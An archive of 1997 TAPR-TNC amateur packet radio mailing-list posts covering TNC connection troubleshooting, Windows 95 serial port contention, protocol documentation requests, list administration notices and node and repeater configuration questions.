To: tapr-tnc@tapr.org
Message-ID: <3.0.1.32.19970412090207.0069d008@flash.net>
Rendered body type: text/plain

Are you using Windows 95? I noticed that if I boot the computer and the
TNC is off, Windows does not recognize the comm port and I can't get to me
TNC. If I boot with the TNC on, everything is OK.

Jim, N0VH

At 07:18 4/12/97 -0500, you wrote:
>Using a tnc MFJ-1278b
>Software Procomplus
>No response from TNC
>However everything was working fine until I made an attempt to
>install EROLS an inter net
>provider.
>
>TNC has yet to respond to the P.C.
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>Sent TNC to MFJ Tech. TNC checks out OK
>Set all parameters as described in the owners manual
>
>Experimented with different baud rates 1200,2400 ETC.
>
>Tried different Com Ports 2,3,4
>
>Still no response   Any suggestions would be greatly received
>
>   TNX
>
>   Leo N3RIO
>
>
>
>
Jim Chandler, N0VH
jchandle@flash.net
http://www.flash.net/~jchandle
Use the following PGP public key: 207BDE21
Do not use E55C3449 or 72B3C695 as I can no longer decrypt them.

4. RE: [TAPR-TNC:336] Re: Cannot connect to TNC

From: "David A. Cooley" <cooldave@ipass.net>
Date: Sat, 12 Apr 1997 11:12:23 -0400
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Message-ID: <01BC4732.664B9EA0@customs715.ipass.net>
Rendered body type: text/plain

One other thing I have noticed with WIN95... If you install Windows 95 fax, it locks the Comm ports out
from *ALL* dos based programs and any 8 or 16 bit windows "legacy" programs... only true win95 32 bit
programs can share the ports. Uninstalling windows 95 fax fixes the problem.

Later,
Dave

==
David Cooley N5XMT   Packet: N5XMT@W4RAL.#RTP.NC.USA.NOAM
Internet: cooldave@ipass.net   And Web: http://www.ipass.net/~cooldave/
Sponges grow in the ocean... Wonder how deep it would be if they didn't!
==

-----Original Message-----
From: Jim Chandler [SMTP:jchandle@flash.net]
Sent: Saturday, April 12, 1997 10:03 AM
To: tapr-tnc@tapr.org
Subject: [TAPR-TNC:336] Re: Cannot connect to TNC

Are you using Windows 95? I noticed that if I boot the computer and the
TNC is off, Windows does not recognize the comm port and I can't get to me
TNC. If I boot with the TNC on, everything is OK.

Jim, N0VH

At 07:18 4/12/97 -0500, you wrote:
>Using a tnc MFJ-1278b
>Software Procomplus
>No response from TNC
>However everything was working fine until I made an attempt to
>install EROLS an inter net
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>
>TNC has yet to respond to the P.C.
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>Sent TNC to MFJ Tech. TNC checks out OK
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>Experimented with different baud rates 1200,2400 ETC.
>
>Tried different Com Ports 2,3,4
>
>Still no response   Any suggestions would be greatly received
>
>   TNX
>
>   Leo N3RIO
>
>
>
>
Jim Chandler, N0VH
jchandle@flash.net
http://www.flash.net/~jchandle
Use the following PGP public key: 207BDE21
Do not use E55C3449 or 72B3C695 as I can no longer decrypt them.

5. Re: [TAPR-TNC:337] Re: Cannot connect to TNC

From: "John A. Hansen" <hansen@ait.fredonia.edu>
Date: Sat, 12 Apr 1997 15:37:56 -0400
To: tapr-tnc@tapr.org
Message-ID: <334FE494.3613@ait.fredonia.edu>
Rendered body type: text/plain

David A. Cooley wrote:
>
> One other thing I have noticed with WIN95... If you install Windows 95 fax, it locks the Comm ports
out from *ALL* dos based programs and any 8 or 16 bit windows "legacy" programs... only true win95 32
bit programs can share the ports. Uninstalling windows 95 fax fixes the problem.
>
> Later,
> Dave

Here's more information on this issue (came with the docs for visual
C++):

"Device contention" refers to the ability of Windows to arbitrate
requests
for the use of a device (usually a serial port) by more than one
program,
one of which is not a Windows-based program. Windows 95 does not by
default
allow a Windows-based program to use a serial port that was previously
used
by a non-Windows-based program running in a virtual machine (VM) until
that
VM is closed. This behavior is different from previous versions of
Windows,
in which the default behavior is for the device to be released after a
two-
second period of inactivity.

MORE INFORMATION
================

The state of Windows 95 device contention is determined by the value for
the "COM<n>AutoAssign=<x>" setting in the [386Enh] section of the

System.ini file, where <n> is the number of the serial port and <x> is a
value from -1 to 1000.

The default setting in Windows 95 is -1. This setting causes Windows 95
to
not release a serial port previously used by a non-Windows-based program
running in a VM until that program's VM is closed. When an MS-DOS-based
or
Windows-based communications program requests the use of a serial port,
Windows 95 checks to see if the port is in use. If the port is
available,
Windows 95 gives the program access to the port. You can change this
behavior by adding "COM<n>AutoAssign=<x>" to the [386Enh] section of the
System.ini file. The default value for this setting in Windows version
3.1
is 2, causing Windows to grant access to the port after two seconds of
port
inactivity. In Windows 95, this default has been changed for
compatibility
with some of the Windows 95 tools that have automatic answering
capability
(such as Microsoft Fax and Dial-Up Networking Server).

If a Windows-based program attempts to use the serial port before the VM
is
closed, you receive one of the following error messages:

 - Another program is using the selected Telephony device. Try again
   after the other program completes.

 - Cannot initialize port.

WARNING: If you set COM<n>AutoAssign=2, do not run a 32-bit
communications
program (such as HyperTerminal) and then attempt to run an MS-DOS-based
communications program. Because of the way the 32-bit program controls
the
port, the MS-DOS-based program will be unable to access it and may cause
your system to stop responding (hang).

If you need hot-swapping capability between an MS-DOS-based
communications
program and a Windows-based communication program, add the following
entry
to the [386Enh] section of the System.ini file:

   Com<n>AutoAssign=0

This setting allows an MS-DOS-based application to hand off a "hot port"
to
a Windows-based program with no delay. This is sometimes necessary in
bulletin board administration. This configuration can cause some
problems
or instabilities because two programs can send commands to the modem at
the
same time.

NOTE: Although all the settings described in this article work, we
recommend that you use the default setting of -1.

KBCategory: kbenv kberrmsg
KBSubcategory: wpp95 win95 wincomm
Additional reference words: 95 comxautoassign

==

Copyright Microsoft Corporation 1995.

6. help:modem 9600 & gal-u13

From: Thomas Misirgis <sv2clj@hyper.gr>
Date: Tue, 15 Apr 1997 12:19:40 +0300
To: tapr-tnc@tapr.org
Message-ID: <3353482C.8EA@hyper.gr>
Rendered body type: text/plain

i have the old version of modem 9600 (NOT the rev 1)
and the gal u13 failed
pls if someone have the image-file of the gal-u13 of the old version
of 9600-tapr-modem (if it is possible also the u14,for future use(?))

thanks in advance

thomas de sv2clj @ hyper.gr

sv2clj @ sv2clj.tsl.grc.eu

7. YAPP and 7plus

From: JAM11848@teleline.es (JAM11848)
Date: Wed, 16 Apr 1997 18:19:24 -0700
To: TNC list <tapr-tnc@tapr.org>
Message-ID: <33557A9C.751E@teleline.es>
Rendered body type: text/plain

Hi,

I am programming a Packet Radio program under Win95 using a Baycom modem
and I need information about the Yapp protocol and 7plus.

Thanks.

8. Re: [TAPR-TNC:340] YAPP and 7plus

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Wed, 16 Apr 1997 12:26:05 -0500
To: tapr-tnc@tapr.org
Message-ID: <v03020908af7abbdaa882@[208.134.134.40]>
Rendered body type: text/plain

Try:

http://www.tapr.org/tapr/html/pkthome.html

Look under: YAPP(tm) protocol for Packet Radio binary file transfer.

Cheers - Greg

>Hi,
>
>I am programming a Packet Radio program under Win95 using a Baycom modem
>and I need information about the Yapp protocol and 7plus.
>
>Thanks.

Greg Jones, WD5IVD
Austin, Texas
wd5ivd@tapr.org
http://www.tapr.org/~wd5ivd
-----

9. New versions for AGW packet programs for WIN95

From: "(SV2AGW) Rossopoulos George" <sv2agw@the.forthnet.gr>
Date: Thu, 17 Apr 1997 18:25:29 +0300
To: <TAPR-TNC@tapr.org>
Message-ID: <199704171529.SAA12375@info.forthnet.gr>
Rendered body type: text/plain

If you dont know about AGW series of packet programs for WIN95 visit my
site for more info and downloads. The Url is http://www.forthnet.gr/sv2agw/

1.Now AGWBBS.EXE and AGWFWD.EXE support HTML format messages.The whole
operation is auto.AGWFWD when downloads a message scans it for html
format.Then the AGWBBS when responds to a read command if the message is
html launces your web browser.No need for special titles etc.So simple.
2.AGWPE now has self adjust packet parameters.Auto adjust
maxframe,persist,slottime,frack,resp etc depending on channel traffic and
link quality.

73
SV2AGW Rossopoulos George
http://www.forthnet.gr/sv2agw
email: sv2agw@the.forthnet.gr

Rossopoulos George
e-mail:sv2agw@the.forthet.gr

```
packet:SV2AGW@SV2DXC.TSL.GRC.EU
http://www.forthnet.gr/sv2agw/
http://www.intranet.gr/isefi/rossopou/rossopou.htm
```

May 1997

Original source file: tapr-tnc.9705
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9705

1. Periodic announcement (last updated 1 June 96)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 1 May 1997 07:32:56 -0400
To: tapr-tnc@tapr.org
Message-ID: <199705011132.HAA03245@penny.n2wx.ampr.org>
Rendered body type: text/plain

From: hgoldste@mpcs.com
To: tapr-tnc@tapr.org

Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
****

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listproc@tapr.org

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SIGNOFF TAPR-TNC

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listproc@tapr.org

with a blank subject. In the message body write

HELP

Posting rejected?

This mailing list accepts postings only from subscribers. If a post is ever rejected please contact <n2wx@tapr.org> directly; your system administrator probably changed an element of your email address and the listproc's records will need to be updated to enable posting.

Problems with your internet provider?

To conserve TAPR server resources, unrecoverable mail errors (in my experience, typically caused by someone hosing the provider's nameserver or by weird internet mail gateways like cc-mail or MSMAIL) will result in your subscription being set to POSTPONE. This should be extremely unlikely but if it happens, DO NOT PANIC: Simply send a message to LISTPROC@TAPR.ORG and in the body of the message write

SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

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   WWW to http://www.tapr.org/tapr/
                           and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

June 1997

Original source file: tapr-tnc.9706
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9706

1. (no subject)

```
From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sun, 1 Jun 1997 08:55:49 -0400
To: tapr-tnc@tapr.org
Message-ID: <199706011255.IAA00822@penny.n2wx.ampr.org>
Rendered body type: text/plain
```

```
Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG
               ----------------------------------------

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
*************

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     listproc@tapr.org

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     SIGNOFF TAPR-TNC


For help with the listproc
--------------------------
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to

    listproc@tapr.org

with a blank subject.  In the message body write

    HELP


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-----------------
This mailing list accepts postings only from subscribers.  If a post is
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administrator probably changed an element of your email address and the
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or by weird internet mail gateways like cc-mail or MSMAIL) will result in
your subscription being set to POSTPONE.  This should be extremely
unlikely but if it happens, DO NOT PANIC:  Simply send a message to
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SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel
free to send the above SET message to remind the server about
your ability to receive mail.

************************
  Statement of Purpose
************************

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs.  It is not moderated. Please
```

try remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 and their clones
are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above
 x - but note that binary postings are never allowed

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the USENET rec.radio.amateur.* hierarchy, particularly in
the rec.radio.amateur.digital.misc newsgroup.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"

At times, you may find your post is relevant to one of the other fine TAPR
SIGs as well as this one. Initial crossposting is not necessarily a bad
idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The list owner reserves the right to deal with flames and
off-topic posts from a stance gauranteed to lie somewhere between complete
arbitrariness and Solomonesque. Hopefully more of the latter than the
former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain answers to questions you have...and maybe some you have but didn't
realize you had. You can access these resources with:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. (no subject)

From: Robert Campbell <Robin19@xs4all.nl>
Date: Tue, 10 Jun 1997 19:05:35 +-200
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Message-ID: <01BC75D1.61FCBFA0@ztm03-13.dial.xs4all.nl>
Rendered body type: text/plain

HELP

3. [TAPR-TNC:345] -Reply

From: Orville Beach <Orv@micom.com>
Date: Tue, 10 Jun 1997 11:18:19 -0800
To: tapr-tnc@tapr.org
Message-ID: <s39d3818.019@micom.com>
Rendered body type: text/plain

>>> Robert Campbell <Robin19@xs4all.nl> 06/10/97 09 22am >>>
HELP

What kind of help? :-)

73 - Orv - w6bi
orv@micom.com

4. Is there a problem?

From: Robert Campbell <Robin19@xs4all.nl>
Date: Fri, 13 Jun 1997 17:42:59 +-200
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Message-ID: <01BC7821.575D08A0@ztm03-27.dial.xs4all.nl>
Rendered body type: text/plain

HELP
I seem to have a problem with the TNC sig. I don't recieve any postings from the sig. Is there anything wrong with my system or is this a silent sig?

Thanx for any answers!

Robert Campbell (Robin19@xs4all.nl)
(http://www.xs4all.nl/~robin19/)

5. [TAPR-TNC:347] Is there a problem? -Reply

From: Orville Beach <Orv@micom.com>
Date: Fri, 13 Jun 1997 10:07:13 -0800
To: tapr-tnc@tapr.org
Message-ID: <s3a11bf1.071@micom.com>
Rendered body type: text/plain

Robert, it's just a very quiet SIG.

73 - Orv - w6bi
orv@micom.com

>>> Robert Campbell <Robin19@xs4all.nl> 06/13/97 07 55am >>>
HELP
I seem to have a problem with the TNC sig. I don't recieve any
postings from the sig. Is there anything wrong with my system or
is this a silent sig?

Thanx for any answers!

Robert Campbell (Robin19@xs4all.nl)
(http://www.xs4all.nl/~robin19/)

6. [TAPR-TNC:347] Is there a problem?

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Fri, 13 Jun 1997 15:44:02 -0400
To: tapr-tnc@tapr.org
Message-ID: <199706131944.PAA00358@penny.n2wx.ampr.org>
Rendered body type: text/plain

Robert Campbell writes:
 >
 > ------ =_NextPart_000_01BC7821.57663060
 > Content-Type: text/plain; charset="us-ascii"
 > Content-Transfer-Encoding: quoted-printable
 >
 > HELP
 > I seem to have a problem with the TNC sig. I don't recieve any postings =
 > from the sig. Is there anything wrong with my system or is this a silent =
 > sig?

Silent sig :)

7. Re: [TAPR-TNC:347] Is there a problem?

From: bobsmith@i2020.net (Robert L Smith)
Date: Sat, 14 Jun 1997 09:02:57 -0400
To: tapr-tnc@tapr.org
Message-ID: <19970614133250.AAA29828@OZZIE>
Rendered body type: text/plain

At 10:55 AM 6/13/97 -0500, you wrote:
>HELP
>I seem to have a problem with the TNC sig. I don't recieve any postings
from the sig. Is there anything wrong with my system or is this a silent sig?
>
>Thanx for any answers!

Your posting arrived fine here. The sig has been VERY quiet for a while, this
is the first post I can recall in several weeks.

  73 de bob, wa4ypv

>Robert Campbell (Robin19@xs4all.nl)
>   (http://www.xs4all.nl/~robin19/)

>
>
>
>Attachment Converted: C:\NETSCAPE\EUDORA\ATTCHMNT\TAPR-TN2
>
-
---- Avoid computer viruses -- Practice safe hex --------------
Robert L. (Bob) Smith   Smith Machine Works, Inc.
amprnet   wa4ypv@w4za.ampr.org   9900 Lumlay Road
internet   bobsmith@i2020.net   Richmond, VA 23236+1004
landline   804/745-1065

8. FW: No Response

From: Robert Campbell <Robin19@xs4all.nl>
Date: Sun, 15 Jun 1997 10:32:19 +-200
To: "'TNC-Sig'" <tapr-tnc@tapr.org>
Message-ID: <01BC7977.809133C0@ztm06-22.dial.xs4all.nl>
Rendered body type: text/plain

I think this was for the SIG

From: VP LEO M PAWELCZYK[SMTP:UXMZ52A@prodigy.com]
Sent: Friday, June 13, 1997 2:00 AM
To: Robin19@xs4all.nl
Subject: No Response

I cannot connect to my local packet sta.

Iam using PRO COM for a terminal pro. and a mfj 1278b tnc

486pc 33mhz 8ram o/s dos,win3.1

I cannot get any response from tnc

tried various com ports, baud rate etc,

I think the board in th p.c. that accepts the rs232cable

is bad.

Any suggestions?????????????

                                                                Leo

N3RIO   uxmz52a

9. Re: [TAPR-TNC:351] TAPR-TNC digest 170

From: np3c@juno.com (Stephen J Werner)
Date: Sun, 15 Jun 1997 19:58:32 EDT
To: tapr-tnc@tapr.org
Message-ID: <19970615.195834.4191.0.NP3C@juno.com>
Rendered body type: text/plain

HI from NP3C, You might have an IRQ conflict. Try moving your modem to a different com port. This was my problem for over six months and moved my modem to comport 2 from comport 1 and wahla the TNC started spitting out data. 73's Steve

10. x1j ping problems

From: bobsmith@i2020.net (Robert L Smith)
Date: Mon, 23 Jun 1997 13:32:43 -0400
To: tapr-tnc@tapr.org
Message-ID: <19970623180039.AAA21036@OZZIE>
Rendered body type: text/plain

Hi All --

I have two TheNet X1J nodes in our network. Node 1 was installed about 2-1/2 years ago and always responds to pings and hop checks from JNOS central server as expected.

Node 2 has quit responding to either ping or hopcheck. Its X1J(4) code came from a different source.

Is there a known difference between X1J releases?

Note that I say 'quit responding'. I have a vague recollection that shortly after installation and setting up the routing tables that I could

ping node 2 and hop check through it, but this problem has created so much
local hassle that I cannot remember for absolute sure.

My question for the list is simply:

1. Are their possible software release differences?

2. Is their a parameter in X1J(4?) to enable/disable these functions?

I am using (and have thoroughly reviewed) my documentation from the older
installation (Node 1) and am concerned that the newer node's documentation
contains information I am in need of.

  73 and thanks to anyone who can help me with this perplexing problem

  de bob, wa4ypv
-
---- Avoid computer viruses -- Practice safe hex --------------
Robert L. (Bob) Smith   Smith Machine Works, Inc.
amprnet   wa4ypv@w4za.ampr.org   9900 Lumlay Road
internet   bobsmith@i2020.net   Richmond, VA 23236+1004
landline   804/745-1065

11. Re: [TAPR-TNC:353] x1j ping problems

From: Ken Morris <kmorris@powerup.com.au>
Date: Tue, 24 Jun 1997 10:38:37 +1000
To: tapr-tnc@tapr.org
Message-ID: <33AF170D.50AE@powerup.com.au>
Rendered body type: text/plain

Hi Bob,
        suggest you try the following:

1. Check 2nd paramater in "IPS" command (1=enable TCP/IP)
2. Check routing tables using "IPR" command.
3. Allow ARP table to service "ARPT 1 1400" (If you don't have manual
ARPS'S)

We have 11 X1J4's out in the field and 1 X1J2 (too far to drive !)
all with excellent results for TCP/IP & Netrom routing.

Let me know how you get on.

Cheers
Ken Morris
VK4KWM
Brisbane, Australia
(Queensland Digital Group)

Robert L Smith wrote:
>
> Hi All --
>
> I have two TheNet X1J nodes in our network. Node 1 was installed
> about 2-1/2 years ago and always responds to pings and hop checks from
> JNOS central server as expected.
>
> Node 2 has quit responding to either ping or hopcheck. Its X1J(4) code
> came from a different source.
>
> Is there a known difference between X1J releases?
>
> Note that I say 'quit responding'. I have a vague recollection that
> shortly after installation and setting up the routing tables that I could
> ping node 2 and hop check through it, but this problem has created so much
> local hassle that I cannot remember for absolute sure.
>
> My question for the list is simply:
>
> 1. Are their possible software release differences?
>
> 2. Is their a parameter in X1J(4?) to enable/disable these functions?
>
> I am using (and have thoroughly reviewed) my documentation from the older
> installation (Node 1) and am concerned that the newer node's documentation
> contains information I am in need of.
>
>   73 and thanks to anyone who can help me with this perplexing problem

>
>   de bob, wa4ypv
> -
> ---- Avoid computer viruses -- Practice safe hex --------------
> Robert L. (Bob) Smith   Smith Machine Works, Inc.
> amprnet   wa4ypv@w4za.ampr.org   9900 Lumlay Road
> internet   bobsmith@i2020.net   Richmond, VA 23236+1004
> landline   804/745-1065

12. Map data

From: bobsmith@i2020.net (Robert L Smith)
Date: Tue, 24 Jun 1997 12:26:54 -0400
To: nos-bbs@hydra.carleton.ca, tapr-tnc@tapr.org
Message-ID: <19970624165453.AAA22800@OZZIE>
Rendered body type: text/plain

I would like to produce some computer generated maps for our node/bbs
route areas in Virginia using my CAD system and am looking for an online
source of map data with the coordinate pair data sets for state and county
boundries.

I can accept the coordinate data in almost any grid system and format --
I will just run it through a quick and dirty C program to reformat
as necessary for my CAD utility (EasyCad).

  Thanks for any input or url's, 73 de Bob, wa4ypv
-
---- Avoid computer viruses -- Practice safe hex --------------
Robert L. (Bob) Smith   Smith Machine Works, Inc.
amprnet   wa4ypv@w4za.ampr.org   9900 Lumlay Road
internet   bobsmith@i2020.net   Richmond, VA 23236+1004
landline   804/745-1065

13. Re: [TAPR-TNC:355] Map data

From: Byron Smith <wa6ylb@theworks.com>
Date: Tue, 24 Jun 1997 10:52:43
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.16.19970624105243.2d1fc630@theworks.com>
Rendered body type: text/plain

Check the USGS site (usgs.gov?) I know u can download map data there. Also,
with APRS packet use, we can get this same data on CD-rom from USGS in
Denver (also there in REston Virginia) I know several have downloaded the
files off the internet too.

At 12:01 PM 6/24/97 -0500, you wrote:
>I would like to produce some computer generated maps for our node/bbs
>route areas in Virginia using my CAD system and am looking for an online
>source of map data with the coordinate pair data sets for state and county
>boundries.
>
>I can accept the coordinate data in almost any grid system and format --
>I will just run it through a quick and dirty C program to reformat
>as necessary for my CAD utility (EasyCad).
>
> Thanks for any input or url's, 73 de Bob, wa4ypv
>-
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>landline   804/745-1065
>
>
Byron Smith
wa6ylb@theworks.com
wa6ylb@wa6ylb.#cca.ca.usa.noam

If a fly cant fly anymore, why don't we call it a walk?

14. Re: [TAPR-TNC:345]

From: John/Carol Wilson <carollw@fcae.acast.nova.edu>
Date: Sun, 29 Jun 1997 19:24:09 -0400
To: tapr-tnc@tapr.org
Message-ID: <33B6EE99.6EA1@fcae.acast.nova.edu>
Rendered body type: text/plain

Robert Campbell wrote:
>
> HELP
>
>   --
>
>   Part 1.2   Type: application/ms-tnef
>   Encoding: base64

My Netscape doesn't know anything about decoding ms-tnef files. How do
I view these?

15. Re: [TAPR-TNC:357] Re:

From: healy@sierra.net (Bill Healy)
Date: Sun, 29 Jun 1997 23:27:11 +0000
To: tapr-tnc@tapr.org
Message-ID: <199706300634.AA15275@diamond.sierra.net>
Rendered body type: text/plain

>Robert Campbell wrote:
>>
>> HELP
>>
>>   --
>>
>>   Part 1.2   Type: application/ms-tnef
>>   Encoding: base64
>
>My Netscape doesn't know anything about decoding ms-tnef files. How do
>I view these?

You don't need to view them, the ms-tnef attachment contains the text
formating information from Microsoft Exchange. Such as text size, color,
etc. You might be familuar with Rich Text Format (RTF), pretty much the same
thing. If you're curious tnef means Text Neutral Exchange Format.

Bill

July 1997

Original source file: tapr-tnc.9707
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9707

1. Help

From: bill miller <kk2l@sunline.net>
Date: Tue, 01 Jul 1997 15:36:02 -0400
To: tapr-tnc@tapr.org
Message-ID: <33B95C21.3D070D44@sunline.net>
Rendered body type: text/plain

I have the Pacomm PSK-1 and DFM-TNC . Want to use on the LEO's
PSK. Am having problems getting them up and running. If you or someone

that is familiar with this gear could send me an E-Mail where I may have

a LL QSO and maybe give me a clue as to my problem. I am completely
frustrated and sure would appreciate some help. 73 Bill Miller KK2L

August 1997

Original source file: tapr-tnc.9708
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9708

1. (no subject)

```
From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Fri, 1 Aug 1997 00:00:01 -0400
To: tapr-tnc@tapr.org
Message-ID: <199708010400.AAA00251@penny.n2wx.ampr.org>
Rendered body type: text/plain
```

```
Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG
               ----------------------------------------

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
*************

To Unsubscribe:
---------------
To leave the TAPR-TNC SIG, please send a message to

     listproc@tapr.org

with a blank subject.  In the body of your message, write

     SIGNOFF TAPR-TNC


For help with the listproc
--------------------------
The list processor TAPR runs has many interesting features.  Please check
them out at your leisure.  To find out how to access them, send a message
to

    listproc@tapr.org

with a blank subject.  In the message body write

    HELP


Posting rejected?
-----------------
This mailing list accepts postings only from subscribers.  If a post is
ever rejected please contact <n2wx@tapr.org> directly; your system
administrator probably changed an element of your email address and the
listproc's records will need to be updated to enable posting.


Problems with your internet provider?
-------------------------------------

To conserve TAPR server resources, unrecoverable mail errors (in my
experience, typically caused by someone hosing the provider's nameserver
or by weird internet mail gateways like cc-mail or MSMAIL) will result in
your subscription being set to POSTPONE.  This should be extremely
unlikely but if it happens, DO NOT PANIC:  Simply send a message to
LISTPROC@TAPR.ORG and in the body of the message write

SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel
free to send the above SET message to remind the server about
your ability to receive mail.

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   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. TNC1 FW

From: Byron Smith <wa6ylb@theworks.com>
Date: Fri, 01 Aug 1997 18:10:33 -0800
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.16.19970801181033.2c7f7d26@theworks.com>
Rendered body type: text/plain

What was the last tapr supported version of TNC1 Code? Was there ever a
final version (non DED) for this tnc? Did howie ever write a version for
the tnc1?
AS I seem to remember, the tnc1 code had several "bugs" in it, wher a ham
would come home and find it locked up etc. THe tnc2 code has been bullet
proof in comparison (or at least thats what my mind remembers :-0)

Is it possible to still obtain this TAPR version of TNC1? the tnc I have
(HD4040) has DED in it, and wont work with the packet program I have.
BTW, are schematics still availible for the tnc1?

Byron Smith
wa6ylb@theworks.com
wa6ylb@wa6ylb.#cca.ca.usa.noam

... Do radioactive cats have 18 half-lives?

3. Re: TNC1 FW

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Fri, 1 Aug 1997 22:11:41 -0400
To: tapr-tnc@tapr.org
Message-ID: <199708020211.WAA00575@penny.n2wx.ampr.org>
Rendered body type: text/plain

Byron Smith writes:
 > Did howie ever write a version for
 > the tnc1?

No, I sure didn't. At one time PacComm (help me Gwyn if my memory is
failing me) sold a TNC1->TNC2 retrofit but the product was
discontinued.

4. KAM and packet repeater problem

From: Jim Pruitt <amburch@owt.com>
Date: Fri, 1 Aug 1997 21:07:16 -0700
To: tapr-tnc@tapr.org
Message-ID: <1.5.4.16.19970801210202.28077eb2@oneworld.owt.com>
Rendered body type: text/plain

Can someone tell me where to seek suggestions with a problem that I
am having on vhf with a local packet repeater using a KAM. I have the drive
jumper set to the lowest drive level to a Alinco DR1200T running 25 watts
originally to a vertically polarized 3 element quad pointed at the repeater
and later using a jpole. For 2 years now I have been unable to use the
repeater because I can only get the connect but then get dropped. I am
using KAGold software and a 286 computer. I can see the repeater (or the
station going through the repeater) responding in Net view.
        The sysop origially said that I appeared to be overdeviating into
the Motorola Micor repeater. The last time I tried, he said that it
appeared that I was too weak into the repeater judging from the long squelch
tail and the pop.
        I do not have a deviation meter to verify my deviation. I have
asked several groups if anyone has a deviation meter or service monitor that
would be willing to check me on the air. All stated that no one had access
to such equipment or were unwilling to do so. I can hear one other node 120
mies away but I can not get back into it (it is weak for me but copiable).
        I had no trouble using a node 100 miles away (until ice and wind
took the 2 meter antenna down at the node and it has not been replaced yet.
        The packet repeater is located 15 miles away and is line of site for me.
        Since this is a TNC2 list, I am requesting help in finding the right
place to seek advice on my problem (unless someone has suggestions).
        Thank you for the bandwidth and help.

        Jim Pruitt, WA7DUY
        Kennewick, Wa.
        email: amburch@oneworld.owt.com

5. Re: [TAPR-TNC:362] Re: TNC1 FW

From: Bob Nielsen <nielsen@primenet.com>
Date: Fri, 1 Aug 1997 22:45:57 -0700 (MST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.96.970801224505.485C-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

On Fri, 1 Aug 1997, Howard Goldstein wrote:

> Byron Smith writes:
> > Did howie ever write a version for
> > the tnc1?
>
> No, I sure didn't. At one time PacComm (help me Gwyn if my memory is
> failing me) sold a TNC1->TNC2 retrofit but the product was
> discontinued.

That was TAPR who had the retrofit kit (5 or 6 years ago).

Bob

Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
                           AX.25:   w6swe@wb7tls.az.usa.noam
                           http://www.primenet.com/~nielsen

6. Re: [TAPR-TNC:363] KAM and packet repeater problem

From: n5rkn <n5rkn@apex2000.net>
Date: Sat, 02 Aug 1997 00:47:25 -0500

To: tapr-tnc@tapr.org
Message-ID: <33E2C9ED.2397@apex2000.net>
Rendered body type: text/plain

Jim Pruitt wrote:
>
>   Can someone tell me where to seek suggestions with a problem that I
> am having on vhf with a local packet repeater using a KAM. I have the drive
> jumper set to the lowest drive level to a Alinco DR1200T running 25 watts
> originally to a vertically polarized 3 element quad pointed at the repeater
> and later using a jpole. For 2 years now I have been unable to use the
> repeater because I can only get the connect but then get dropped. I am
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> tail and the pop.
>   I do not have a deviation meter to verify my deviation. I have
> asked several groups if anyone has a deviation meter or service monitor that
> would be willing to check me on the air. All stated that no one had access
> to such equipment or were unwilling to do so. I can hear one other node 120
> mies away but I can not get back into it (it is weak for me but copiable).
>   I had no trouble using a node 100 miles away (until ice and wind
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>   The packet repeater is located 15 miles away and is line of site for me.
>   Since this is a TNC2 list, I am requesting help in finding the right
> place to seek advice on my problem (unless someone has suggestions).
>   Thank you for the bandwidth and help.
>
>   Jim Pruitt, WA7DUY
>   Kennewick, Wa.
>   email: amburch@oneworld.owt.com

Just a quick thought, here in the wee hours of the morn, Jim.. My first
guess
would have been deviation also. As, that seems to be the culprit most
often..
if all else is working. Without a meter, one can do a "ear" check with
another
radio. Compare the audio from other packets to what is going outbound
from
your station. I have successfully tuned up many a radio from GE
MSTRII's to
Yaesu's, Kenwoods, & Icom's with just my ear. A meter is preferable,
but
the ear will work "in a pinch" (no pun intended).
